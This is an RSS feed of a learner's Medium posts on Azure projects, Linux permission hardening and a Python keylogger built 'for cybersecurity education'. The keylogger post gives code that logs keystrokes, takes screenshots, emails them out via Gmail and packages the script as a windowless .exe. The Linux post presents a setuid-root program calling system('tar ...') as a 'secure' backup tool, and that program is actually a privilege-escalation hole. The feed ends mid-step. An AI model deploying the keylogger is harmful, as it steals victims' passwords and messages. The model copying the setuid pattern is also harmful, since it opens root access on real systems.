<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Onyedikachi Obioma Ofooha on Medium]]></title>
        <description><![CDATA[Stories by Onyedikachi Obioma Ofooha on Medium]]></description>
        <link>https://medium.com/@onyedikachiofooha?source=rss-1f1ac82dce2d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5rOjYRVJNqJhBht3P0GI0g.jpeg</url>
            <title>Stories by Onyedikachi Obioma Ofooha on Medium</title>
            <link>https://medium.com/@onyedikachiofooha?source=rss-1f1ac82dce2d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 06:44:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@onyedikachiofooha/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Creating a Secure and Governed Azure Environment]]></title>
            <link>https://medium.com/@onyedikachiofooha/creating-a-secure-and-governed-azure-environment-4680072f31bb?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4680072f31bb</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Mon, 17 Nov 2025 20:26:46 GMT</pubDate>
            <atom:updated>2025-11-17T20:26:46.240Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vprs3Lq56Dvb0du_y84Gug.jpeg" /></figure><h3>How I Built a Fully Governed Azure Environment for a Small Business (AZ-900 Project)</h3><h3>Introduction — The Project That Taught Me the “Governance Side” of Cloud</h3><p>Most beginners think cloud computing is only about deploying apps and virtual machines.<br> But the <em>real</em> challenge companies face is <strong>governance</strong> — keeping the cloud environment secure, organized, compliant, and cost-controlled as teams deploy more workloads.</p><p>For this particular Project of my AZ-900 hands-on learning, I simulated how a small business would structure and govern its Azure environment during a cloud migration. Instead of deploying random resources, this project focused on:</p><ul><li>Structuring environments</li><li>Controlling access</li><li>Enforcing policies</li><li>Managing cost</li><li>Strengthening security posture</li></ul><p>This was the first time Azure felt less like “just a platform” and more like a <strong>living, governed digital environment</strong>.</p><p>Here’s how I built it step by step.</p><h3>Step 1 — Creating the Resource Group Structure</h3><p><strong>Objective: Organize resources the same way a real business does.</strong></p><p>I created <strong>two separate Resource Groups</strong>:</p><ul><li>RG-Production</li><li>RG-Development</li></ul><p>I also added tags such as:</p><ul><li><em>Environment: Production</em></li><li><em>Environment: Development</em></li></ul><p>This instantly created a clean separation between workloads — a best practice in every cloud architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lmoVbsPBw2Ic5WiJvAj4tA.jpeg" /><figcaption>Resource Groups(Production &amp; Development)</figcaption></figure><h3>Step 2 — Implementing Role-Based Access Control (RBAC)</h3><p><strong>Objective: Enforce the principle of least privilege.</strong></p><p>I simulated users by assigning roles at the Resource Group level:</p><ul><li><strong>Reader</strong> → for users who should only view resources</li><li><strong>Contributor</strong> → for users who can modify resources but not manage access</li></ul><p>This step helped me understand how companies prevent accidental damage, unauthorized changes, and privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xvtazzhfErsRjRBb_WBL_Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sh2Qa8j8TSsytZlbTWXmjg.jpeg" /></figure><h3>Step 3 — Creating and Assigning an Azure Policy</h3><p><strong>Objective: Enforce compliance — automatically.</strong></p><p>I assigned the <strong>Allowed Locations</strong> policy and restricted resource deployment to:</p><ul><li><strong>West Europe</strong></li></ul><p>This is extremely useful for:</p><ul><li>Cost control</li><li>Compliance</li><li>Preventing scattered resources</li><li>Ensuring internal standards</li></ul><p>Azure Policy then scanned my subscription and displayed compliance status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8vVz7xhpVV-JD4Y-VDfTDA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KOAX39k3Y_jWn9aD0F_DKg.jpeg" /></figure><h3>Step 4 — Setting Up Budget &amp; Alerts in Cost Management</h3><p><strong>Objective: Gain financial visibility and prevent overspending.</strong></p><p>I configured:</p><ul><li><strong>Budget name:</strong> Lab-Budget</li><li><strong>Threshold:</strong> $10</li><li><strong>Alert:</strong> Email at 80% usage</li></ul><p>This step made me realize how essential cost governance is for organizations especially small businesses migrating to the cloud.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjJFMTN-nXEHtPNK6V2Qrw.jpeg" /></figure><h3>Step 5 — Deploying a Virtual Network and Virtual Machine</h3><p><strong>Objective: Show understanding of networking + compute fundamentals.</strong></p><h3>Virtual Network (VNet)</h3><ul><li>Name: VNET-Lab</li><li>Address Space: 10.0.0.0/16</li><li>Subnet: Subnet-Prod (10.0.1.0/24)</li><li>Resource Group: RG-Production</li></ul><h3>Virtual Machine (VM)</h3><ul><li>Name: VM-Lab</li><li>Size: B1s (cost-effective)</li><li>Region: West Europe (policy-compliant)</li><li>Attached to: VNET-Lab</li></ul><p>This proved how networking and compute work together in Azure and how policies influence deployment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kjwl2Zm-nVpn51lFodFDhQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AyCDpft3Upaw6XQg2T1Tlg.jpeg" /></figure><h3>Step 6 — Enabling Microsoft Defender for Cloud</h3><p><strong>Objective: Enable continuous security posture monitoring.</strong></p><p>Defender for Cloud (Free tier) immediately scanned my environment and provided:</p><ul><li>Security recommendations</li><li>Misconfiguration alerts</li><li>Vulnerability insights</li><li>Baseline security posture</li></ul><p>This is exactly how organizations detect issues before they become incidents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sP8OPWE51LLhI4GNWHjl5A.jpeg" /></figure><h3>What This Project Demonstrated</h3><h3>1️⃣ Least Privilege</h3><p>RBAC roles ensured users had only the access needed — nothing more.</p><h3>2️⃣ Compliance Enforcement</h3><p>Azure Policy restricted deployments to approved regions.</p><h3>3️⃣ Cost Optimization</h3><p>Budgets + alerts protected against accidental overspending.</p><h3>4️⃣ Security by Design</h3><p>Defender for Cloud monitored threats in real time.</p><h3>5️⃣ Resource Organization</h3><p>Production vs Development separation reflected real enterprise environments.</p><h3>Final Summary — Why This Project Matters</h3><p>This project taught me that cloud governance isn’t optional — it’s the backbone of a safe, scalable Azure environment. I learned how businesses:</p><ul><li>Organize cloud workloads</li><li>Control who can access what</li><li>Enforce policies automatically</li><li>Monitor cost proactively</li><li>Strengthen security posture</li></ul><p>Completing this lab gave me hands-on experience with the same governance tools used by Azure administrators, cloud consultants, and enterprise IT teams. It also helped me understand <strong>how cloud maturity grows over time through structure, compliance, cost awareness, and security</strong>.</p><p>This project has strengthened my confidence in Azure and deepened my understanding of cloud governance; a core skill for anyone pursuing cloud engineering or security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4680072f31bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deploying a Scalable Web App on Azure App Service]]></title>
            <link>https://medium.com/@onyedikachiofooha/deploying-a-scalable-web-app-on-azure-app-service-7b352ac8df1c?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b352ac8df1c</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Mon, 17 Nov 2025 13:30:04 GMT</pubDate>
            <atom:updated>2025-11-17T13:30:04.458Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*F2fvrERKFW-2pZRKb-0E3Q.jpeg" /></figure><h3>How I Deployed My First Azure Web App: A Beginner-Friendly Cloud Project That Builds Real Skills</h3><h3>Introduction — The Project That Finally Made Azure “Click” For Me</h3><p>When I started learning cloud computing, everyone kept saying the same thing:</p><p><strong>“Azure makes sense only when you actually build something.”</strong></p><p>So, for my AZ-900 hands-on learning, I deployed a simple web application using Azure App Service, Storage, Monitoring, and Cost Management tools. It sounded basic, but the experience opened my eyes to how real cloud environments actually work.</p><p>This wasn’t just clicking buttons. This project taught me <strong>how Azure organizes resources, hosts apps, tracks performance, and manages cost. </strong>The same fundamentals used by real companies moving to the cloud.</p><p>Here’s how I built my first cloud app on Azure.</p><h3>Step 1 — Creating the Resource Group (The Foundation)</h3><p>Every Azure deployment needs a logical container where all related resources live.</p><p>I created a <strong>Resource Group</strong> named: <strong>WebAppLab8</strong></p><p>This keeps the project organized and makes cleanup easier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eSU6ffNV9zIMjBpWe0UIA.jpeg" /></figure><h3>Step 2 — Deploying the Web App using Azure App Service</h3><p>Azure App Service lets you host a web app without touching servers, patches, or infrastructure.</p><p>Here’s what I did:</p><ol><li>Went to <strong>App Services → Create</strong></li><li>Selected an <strong>App Service Plan (Free Tier F1)</strong></li><li>Deployed a basic <strong>Web App</strong></li><li>Azure automatically generated a <strong>public web URL</strong></li></ol><p>Now the app was live on the internet — within minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CieMljCKAA-IguSeFUJlqg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BiLuyv3lKsBYBJPQ1hPLHQ.jpeg" /></figure><h3>Step 3 — Creating Azure Storage for Static Files</h3><p>Next, I created a <strong>Storage Account</strong> with a <strong>Blob Container</strong> to store static assets such as:</p><ul><li>Images</li><li>Documents</li><li>Files</li><li>App assets</li></ul><p>Azure Storage is extremely cheap, reliable, and perfect for web content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v07GanVAz92N60HYWcwxJw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7nQolchwdcnLFjvNpqc8tQ.jpeg" /></figure><h3>p 4 — Enabling Application Insights (Real Monitoring)</h3><p>To make this feel like a real cloud deployment, I added <strong>Application Insights</strong>.</p><p>With this, I could see:</p><ul><li>App performance</li><li>Error rates</li><li>Response times</li><li>Live traffic</li><li>Availability metrics</li></ul><p>This level of observability is something every production system needs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l5o5PdKaCQJFJ8q7nSdoyg.jpeg" /><figcaption>live traffic monitoring</figcaption></figure><h3>Step 5 — Setting Up a Budget in Cost Management</h3><p>Cloud costs can get out of hand quickly, so I configured a <strong>Budget Alert</strong> to track my spending.</p><p>Here’s what I set:</p><ul><li>Budget name: <em>WebAppLab8</em></li><li>Alert threshold: <em>80%</em></li><li>Notification: <em>Email alert</em></li></ul><p>This is exactly how companies prevent unexpected cloud bills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LvUt4plRv1-vixIHB6bt6A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQAC04Jzu9PB67gLtW-FhQ.jpeg" /></figure><h3>Step 6 — Using the Azure Pricing Calculator</h3><p>Before deploying extra resources, I explored the <strong>Azure Pricing Calculator</strong> to estimate how much the web app and storage would cost in a real business scenario.</p><p>I compared:</p><ul><li>App Service pricing tiers</li><li>Storage Account hot/cool/archive costs</li><li>Monitoring costs</li><li>Potential monthly spend</li></ul><p>This step helped me understand how cloud architects make financial decisions, not just technical ones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PoJi2qnoAuZoyYpLcsmDTQ.jpeg" /></figure><h3>What I Learned From This Project</h3><p>This wasn’t just a “lab exercise.”</p><p>I learned the core pillars of real-world cloud architecture:</p><h3>✔ Resource Organization</h3><p>Using Resource Groups for clean structure.</p><h3>✔ Platform-as-a-Service (PaaS) deployment</h3><p>Azure App Service handles the heavy lifting.</p><h3>✔ Cloud Storage fundamentals</h3><p>Blob Storage is ideal for static content.</p><h3>✔ Monitoring &amp; Telemetry</h3><p>Application Insights gives real visibility into performance.</p><h3>✔ Cost Awareness</h3><p>Budgets + Pricing Calculator = financial control.</p><p>All of these reflect how companies build and operate cloud environments.</p><h3>Conclusion — Why This Project Matters</h3><p>Completing this project helped me understand cloud computing beyond theory. I didn’t just host a web app — I built the foundation of a real cloud environment that is <strong>organized, monitored, cost-controlled, and resilient</strong>.</p><p>This experience showed me:</p><ul><li>How businesses deploy apps without managing servers</li><li>How cloud platforms ensure reliability and performance</li><li>How monitoring prevents downtime</li><li>How cost governance protects budgets</li><li>How storage integrates with web applications</li></ul><p>Most importantly, it made Azure feel intuitive rather than overwhelming.<br> This project set the stage for deeper cloud learning and it represents the exact skills companies expect from anyone starting a cloud career.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b352ac8df1c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ My First Python Project: Building a Keylogger for Cybersecurity Education]]></title>
            <link>https://medium.com/@onyedikachiofooha/%EF%B8%8F-my-first-python-project-building-a-keylogger-for-cybersecurity-education-ac376100206e?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac376100206e</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Tue, 10 Jun 2025 09:22:19 GMT</pubDate>
            <atom:updated>2026-04-06T19:36:10.773Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*zmoa3I0HelwoZVwH3wVMtw.jpeg" /></figure><p>As part of my ongoing studies in <strong>cybersecurity and ethical hacking </strong>at <strong><em>Streethubacademy</em></strong> under the mentorship of <a href="https://medium.com/u/24a09e99d9e0">Uzoukwu Eric Ikenna</a>, I recently completed my first real-world Python project: creating a <strong>keylogger</strong>. This project was conducted in a <strong>controlled lab environment</strong>, and I want to share the experience — highlighting the educational value, ethical considerations, tools used, and technical breakdown.</p><blockquote><em>⚠️ </em><strong><em>Disclaimer</em></strong><em>: This project was created strictly for educational purposes, in a consent-based, isolated lab environment. Unauthorized deployment or use of a keylogger violates ethical and legal guidelines. Always follow the principles of responsible disclosure, privacy, and legality.</em></blockquote><h3>🔍 Why Build a Keylogger?</h3><p>In today’s digital world, where our lives are increasingly lived through keyboards and screens, keyloggers represent one of the most silent yet dangerous cybersecurity threats. A keylogger is a type of surveillance software designed to record every keystroke made on a device. While some keyloggers are used legitimately for troubleshooting, monitoring employee activity, or parental control; malicious versions can steal sensitive information like passwords, credit card numbers, and private communications without the user ever realizing it.</p><p>This experiment explores the mechanics of keyloggers, their legitimate and harmful uses, and the steps individuals and organizations can take to protect themselves. By demystifying how they work and highlighting real-world implications, I aim to raise awareness and empower readers to stay vigilant in safeguarding their digital privacy.</p><p>Understanding how malicious software like keyloggers function is <strong>essential for cybersecurity professionals</strong>. By building one:</p><ul><li>I gained insight into how attackers may harvest data.</li><li>I learned to identify keylogger signatures and behaviors in threat detection tools.</li><li>I became better equipped to <strong>mitigate keylogging threats</strong>.</li></ul><h3>🧰 Technologies &amp; Python Modules Used</h3><p>The entire project was written in <strong>Python 3.11+</strong> on a <strong>Windows OS</strong>, using the following modules:</p><p>Module Purposes</p><p>pynput Captures keyboard strokes in real-time</p><p>yagmail Sends logged data via email securely</p><p>Pillow Captures screenshots</p><p>PyInstaller Converts the script into a</p><p>.exe executable</p><p>smtplib &amp; ssl Used indirectly for email authentication and TLS</p><p>Installation (for educational use only):</p><pre>pip install pynput yagmail pillow</pre><h3>🧑‍💻 Keylogger Functionality</h3><ol><li><strong>Log Keystrokes</strong>: Captures keys as they are pressed.</li><li><strong>Screenshot Capture</strong>: Takes a snapshot of the screen.</li><li><strong>Email Delivery</strong>: Sends captured logs and screenshots to a specified email address after every 20 keystrokes.</li></ol><h3>🔐 Email Setup (Gmail was used)</h3><ul><li>Enable <strong>2-Step Verification</strong> in Gmail.</li><li>Generate an <strong>App Password</strong> under Security &gt; App Passwords.</li><li>Use that password for the script to authenticate securely.</li></ul><h3>🔧 Code Breakdown</h3><h3>Logging Keystrokes</h3><pre>from pynput import keyboard</pre><pre>def on_press(key):<br>    with open(&quot;log.txt&quot;, &quot;a&quot;) as f:<br>        f.write(f&quot;{key} pressed\n&quot;)</pre><h3>Screenshot Capture</h3><pre>from PIL import ImageGrab</pre><pre>screenshot = ImageGrab.grab()<br>screenshot.save(&quot;screenshot.png&quot;)</pre><h3>Sending Logs via Email</h3><pre>import yagmail</pre><pre>yag = yagmail.SMTP(&quot;your_email@gmail.com&quot;, &quot;your_app_password&quot;)<br>yag.send(to=&quot;your_email@gmail.com&quot;, subject=&quot;Logs&quot;, contents=[&quot;log.txt&quot;, &quot;screenshot.png&quot;])</pre><h3>🧪 Packaging and Testing</h3><p>The script was packaged into an executable using PyInstaller:</p><p>Run the following command to package the script as an .exe file</p><pre>pyinstaller --onefile --noconsole keylogger.py</pre><p>The resulting .exe will appear in the ‘dist’ folder as ‘keystroke_logger.exe’.</p><p>Testing was performed in:</p><ul><li>A <strong>local Windows environment</strong></li><li>A <strong>virtualized lab machine</strong> with network restrictions</li><li>Logging outputs were verified and screenshots reviewed</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8q0ynjOPJYQYM8F7svH8qg.jpeg" /></figure><h3>✅ Ethical Considerations</h3><p>This project adhered to the <strong>three pillars of ethical hacking</strong>:</p><ul><li><strong>Authorization</strong>: Only run in environments I fully controlled.</li><li><strong>Education</strong>: Built to understand attack vectors, not to exploit them.</li><li><strong>Disclosure</strong>: Full transparency in purpose and implementation.</li></ul><blockquote><em>As cybersecurity professionals, we must understand the tools of threat actors not to use them, but to build defenses against them.</em></blockquote><h3>💡 What I Learned</h3><ul><li>How input hooks interact with system APIs</li><li>The importance of encryption and email security</li><li>Practical insights into Python packaging and dependency management</li><li>Ethics of digital forensics and responsible tool usage</li></ul><h3>🧠 Final Thoughts</h3><p>Building this keylogger taught me much more than code. It helped me grow into a more <strong>responsible, informed, and security-conscious Admin</strong>. I hope this inspires other students to learn security through ethical, practical experimentation.</p><p>🔗 Let’s connect!<br> Feel free to comment, share thoughts, or message me if you’re exploring cybersecurity too.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac376100206e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing Multi-User Linux Systems with Advanced File Permissions]]></title>
            <link>https://medium.com/@onyedikachiofooha/securing-multi-user-linux-systems-with-advanced-file-permissions-1d41166db506?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d41166db506</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Tue, 03 Jun 2025 18:46:37 GMT</pubDate>
            <atom:updated>2025-06-03T18:46:37.270Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*25FXciVD6sUz0RqJsUVf2w.png" /></figure><p><strong>Enhancing Linux security using Setuid, Setgid, Sticky Bit, and ACLs</strong></p><h3>Description</h3><p>This lab simulates a real-world multi-user Linux environment. I will explore the risks and hardening techniques associated with special permissions like <strong>setuid</strong>, <strong>setgid</strong>, and <strong>sticky bit</strong>, implement secure DevOps workflows, and conduct forensic audits. These tasks align with cybersecurity compliance and job-ready skills.</p><p>Securing multi-user Linux systems requires a deep understanding of advanced file permissions. In this guide, i will explore real-world strategies to harden privilege escalation vectors, protect shared directories, and automate compliance audits — essential skills for system administrators and DevOps engineers.</p><h3>Goals</h3><p>I will:</p><ol><li>Harden setuid/setgid binaries to prevent privilege escalation.</li><li>Set up a secure DevOps group workflow using setgid directories.</li><li>Audit and patch misconfigured files/directories using industry tools.</li><li>Secure shared spaces using sticky bit + ACLs.</li><li>Write a compliance audit script to identify special permission misconfigurations.</li></ol><h3>Prerequisites</h3><ul><li>Ubuntu or CentOS server/VM</li><li>Root access</li><li>At least three users: dev1, dev2, and admin1</li></ul><p><strong>Why File Permissions Matter</strong></p><p>Linux permissions define how users interact with files and directories. Misconfigurations can lead to privilege escalation vulnerabilities, data leaks, or unauthorized modifications. We’ll focus on key special permissions:</p><ul><li><strong>Setuid (SUID)</strong>: Allows executable files to run with the privileges of the file owner.</li><li><strong>Setgid (SGID)</strong>: Ensures files created in a directory inherit the group’s ownership.</li><li><strong>Sticky Bit</strong>: Protects files in world-writable directories from unauthorized deletion.</li><li><strong>Access Control Lists (ACLs)</strong>: Provide fine-grained permission control beyond traditional user/group settings.</li></ul><h3>Sections</h3><h3>Section 1: Privilege Escalation Hardening</h3><p><strong>Objective:</strong> Harden system-wide setuid/setgid binaries to prevent unauthorized privilege escalation.</p><ul><li>Audit all special permission files system-wide.</li><li>Identify binaries with insecure or suspicious ownership/permissions.</li><li>Remove the setuid/setgid bit from untrusted files.</li><li>Use tools like aide or chkrootkit to verify system integrity.</li></ul><p><strong>Step-by-Step Hardening Guide</strong></p><p><strong>Step 1: Audit Special Permission Files</strong></p><p>First, identify all <strong>setuid (SUID) and setgid (SGID) binaries</strong> across the system. Use the following command:</p><p>find / -type f -perm -4000 -o -perm -2000 -exec ls -lh {} \; 2&gt;/dev/null &gt; special_permissions_audit.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IGcMWQ9vtoeX9qSfR55Akw.jpeg" /><figcaption>This command searches for files with special permissions and logs them into special_permissions_audit.txt for review.</figcaption></figure><p><strong>Step 2: Identify Suspicious Binaries</strong></p><p>Once you have the audit results, investigate the permissions and ownership of the listed files:</p><ul><li>Check for <strong>non-root-owned</strong> SUID/SGID binaries.</li><li>Identify any <strong>writable binaries</strong>, as attackers could modify them to execute malicious code.</li></ul><p>To examine a specific binary, use:</p><p>ls -l /path/to/binary<br>stat /path/to/binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W4s0xa54fsTFg-PKLV4wKA.jpeg" /><figcaption>System is <strong>clean. </strong>No suspicious user-owned setuid/setgid binaries.</figcaption></figure><p>All binaries with special permissions are root-owned and standard.</p><p>No world-writable or temp-directory binaries with elevated permissions.</p><p><strong>Step 3: Mitigate Risks</strong></p><p>If you discover suspicious binaries that are unnecessary or pose security risks, remove their special permissions:</p><p>chmod -s /path/to/suspicious_binary</p><p>This ensures that the file can no longer execute with escalated privileges.</p><p>For additional security, you can also configure <strong>SELinux</strong> or <strong>AppArmor</strong> policies to restrict execution further.</p><p><strong>Step 4: Verify System Integrity</strong></p><p>To maintain a hardened system, regularly check for unauthorized changes:</p><p><strong>✅ Use AIDE (Advanced Intrusion Detection Environment)</strong></p><p>AIDE helps detect file modifications and unauthorized changes:</p><p>aide — init # Initializes the database aide — check # Compares current state to the baseline</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*OmDJxnRFdz2EWB7tRzAfkg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a3IsEvyLswHiO0P4DWJXqA.jpeg" /></figure><p><strong>Use chkrootkit</strong></p><p>Chkrootkit scans the system for rootkits and malicious privilege escalation attempts:</p><p>chkrootkit</p><p>Run these tools periodically to maintain a secure environment.</p><p><strong>Section Summary</strong></p><p>By auditing, identifying, and mitigating risks associated with privilege escalation, you significantly enhance your system’s security posture. Regular monitoring and proactive measures are key to maintaining a hardened environment.</p><p>🔐 <strong>Security is an ongoing process — stay vigilant, automate audits, and enforce best practices.</strong></p><h3><strong>Section 2: Secure Software Deployment: Using Setgid for DevOps Teams</strong></h3><p>When deploying software in collaborative environments, ensuring proper access control is essential. A common challenge is maintaining group permissions across files created by different users. The <strong>Setgid</strong> permission solves this by ensuring all files in a directory inherit the group ownership.</p><p>This section walks you through <strong>creating a </strong><strong>/opt/deploy directory, applying Setgid, adding users to the group, and setting ACLs for enhanced visibility</strong>.</p><p><strong>Step 1: Create the Deployment Directory</strong></p><p>Start by creating a dedicated directory for your <strong>DevOps teams</strong> in /opt/:</p><p><strong>sudo mkdir -p /opt/deploy</strong></p><p>This will serve as the central location for software deployment tasks.</p><p><strong>Step 2: Create &amp; Assign a Deployers Group</strong></p><p>To manage access, create a user group called deployers and add relevant users:</p><p>sudo groupadd deployers</p><p>sudo chgrp deployers /opt/deploy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bl2NRXuEcM_rMtJfj4Zi3Q.jpeg" /><figcaption>This assigns <strong>group ownership</strong> of /opt/deploy to the deployers group</figcaption></figure><p><strong>Step 3: Apply Setgid for Inherited Group Ownership</strong></p><p>Setting the <strong>Setgid</strong> (chmod g+s) ensures that any files created in /opt/deploy automatically inherit the deployers group:</p><p>sudo chmod g+s /opt/deploy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmnqzCmH1uFsNK5TkygxHg.jpeg" /></figure><p>📌 <strong>Effect:</strong></p><ul><li>New files will inherit <strong>group ownership</strong> instead of the creator’s primary group.</li><li><strong>Collaboration is seamless</strong> — ensuring all files belong to the same group.</li></ul><p>✅ <strong>Verify permissions:</strong></p><p>ls -ld /opt/deploy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wuRCE1bFe_NEdaHWqAGrjg.jpeg" /><figcaption>indication that <strong>Setgid</strong> is applied.</figcaption></figure><p><strong>👥 Step 4: Add Users to the Deployers Group</strong></p><p>To allow team members access, add them to the deployers group:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*wOc3xFTGJnzG9gB-py093w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*XnnWPO2PHecDVLsPfG_sTA.jpeg" /><figcaption>sudo usermod -aG deployers username</figcaption></figure><p>Note: Users <strong>must log out and back in</strong> for changes to take effect.</p><p><strong>🛡️ Step 5: Set ACLs for Fine-Grained Visibility</strong></p><p>For enhanced security, configure <strong>Access Control Lists (ACLs)</strong> to ensure appropriate file visibility:</p><p>sudo setfacl -m g:deployers:rwx /opt/deploy</p><p>This grants deployers <strong>read, write, and execute</strong> permissions.</p><p>✅ <strong>Verify ACL settings:</strong></p><p>getfacl /opt/deploy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*b9g07cZUNFu0Jw9I83OkeQ.jpeg" /></figure><p><strong>Section Conclusion</strong></p><p>By implementing <strong>Setgid</strong>, group management, and ACLs, you ensure a <strong>secure</strong> and <strong>efficient</strong> software deployment environment for DevOps teams. This approach improves collaboration while maintaining strict access controls.</p><h3>Section 3: Sticky Bit in Public Uploads (Advanced ACL Control)</h3><p>In a multi-user Linux system, allowing public file uploads poses risks. The <strong>sticky bit</strong> ensures that only file owners can delete their own files while still allowing collaborative uploads. This is crucial in directories like /tmp, where multiple users store temporary files.</p><h3>Configuration Steps:</h3><h4>3.1 Set Up the Upload Directory</h4><p>Create the directory with proper permissions:</p><pre>sudo mkdir -p /srv/uploads<br>sudo chmod 1773 /srv/uploads  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*mA5Sfku3FiL5mrpzFd6ZTg.png" /><figcaption>Sticky bit (t) ensures file owners retain deletion rights</figcaption></figure><h4>3.2 Apply ACLs for Read-Only Access</h4><p>To ensure the administrator (Kachi) can review uploads without altering them:</p><pre>sudo setfacl -m u:Kachi:r /srv/uploads/</pre><h4>3.3 Testing the Behavior</h4><ul><li>kachi uploads a file:</li><li>touch /srv/uploads/sample_file.txt</li><li>Eric attempts to delete dev1&#39;s file but gets denied.</li><li>Eric can read files but cannot modify or delete them.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*afhqkzPPrab3PWT7CRyqvw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h7ojqfiu_NnzjPIhYJxvFw.jpeg" /><figcaption>This setup prevents unauthorized file modifications while maintaining transparency.</figcaption></figure><h3>Section 4: SUID Binary Deployment Simulation</h3><p>Some system tools need <strong>elevated privileges</strong> regardless of which user executes them. The setuid (SUID) bit ensures a binary runs with the owner&#39;s privileges, typically <strong>root</strong>.</p><h3>4.1 Building a Secure Backup Tool</h3><h4>Creating the Backup Script</h4><p>A simple <strong>backup tool</strong> that archives /home using root privileges</p><p>4.1 Build backup tool:</p><p>// backup.c</p><p>#include &lt;stdlib.h&gt;</p><p>#include &lt;stdio.h&gt;</p><p>#include &lt;unistd.h&gt;</p><p>int main() {</p><p>setuid(0);</p><p>system(“tar -czf /tmp/home-backup.tar.gz /home”);</p><p>printf(“Backup completed\n”);</p><p>return 0;</p><p>}</p><h3>Steps to Build &amp; Deploy the Tool</h3><p><strong>Navigate to Your Build Directory</strong></p><ul><li>cd /opt/deploy/</li></ul><p><strong>Write &amp; Save the Backup C Program</strong><br> Open a text editor and create the file:</p><ul><li>nano backup.c</li></ul><p>Then, paste the <strong>backup tool code</strong> inside and <strong>save</strong> (Ctrl + X → Y → Enter).</p><p><strong>Compile the Backup Tool</strong></p><ul><li>gcc backup.c -o backup_tool</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7VstZuvJw4dLpkqN0uaT3g.jpeg" /></figure><p><strong>Set Up Security &amp; Permissions</strong></p><ul><li>Make root the owner:</li><li>sudo chown root:root backup_tool</li><li>Apply 